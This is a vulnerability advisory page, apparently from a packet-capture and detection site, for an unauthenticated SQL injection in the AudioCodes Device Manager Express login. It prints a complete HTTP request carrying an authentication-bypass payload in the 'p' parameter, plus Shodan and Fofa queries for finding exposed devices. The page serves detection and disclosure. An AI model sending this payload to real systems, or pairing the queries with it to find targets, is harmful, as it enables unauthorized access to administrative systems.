🔙 목록으로 돌아가기

CVE-2022-24627: AudioCodes Device Manager Express - SQL Injection

TitleAudioCodes Device Manager Express - SQL Injection
Authorgeeknik
SeverityCritical
ImpactUnauthenticated attackers can exploit SQL injection in the login form to bypass authentication, extract sensitive VoIP configuration data, and potentially gain administrative access to the AudioCodes Device Manager system.
RemediationUpdate AudioCodes Device Manager Express to a version newer than 7.8.20002.47752 that uses parameterized queries and properly validates input.
CVSS Score9.8
EPSS Score0.49889
CVE IDCVE-2022-24627
CWE IDCWE-89
Shodan Querytitle:"Audiocodes"http.title:"audiocodes"
Fofa Querytitle="audiocodes"
Tags cve cve2022 seclists sqli audiocodes vuln

🔍 Vulnerability Description

An issue was discovered in AudioCodes Device Manager Express through 7.8.20002.47752. It is an unauthenticated SQL injection in the p parameter of the process_login.php login form.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 AlohaBrowser/7.6.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
POST /admin/AudioCodes_files/process_login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363
Connection: close
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=admin&password=&domain=&p=%5C%27or+1%3D1%23

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24627.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-24627.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A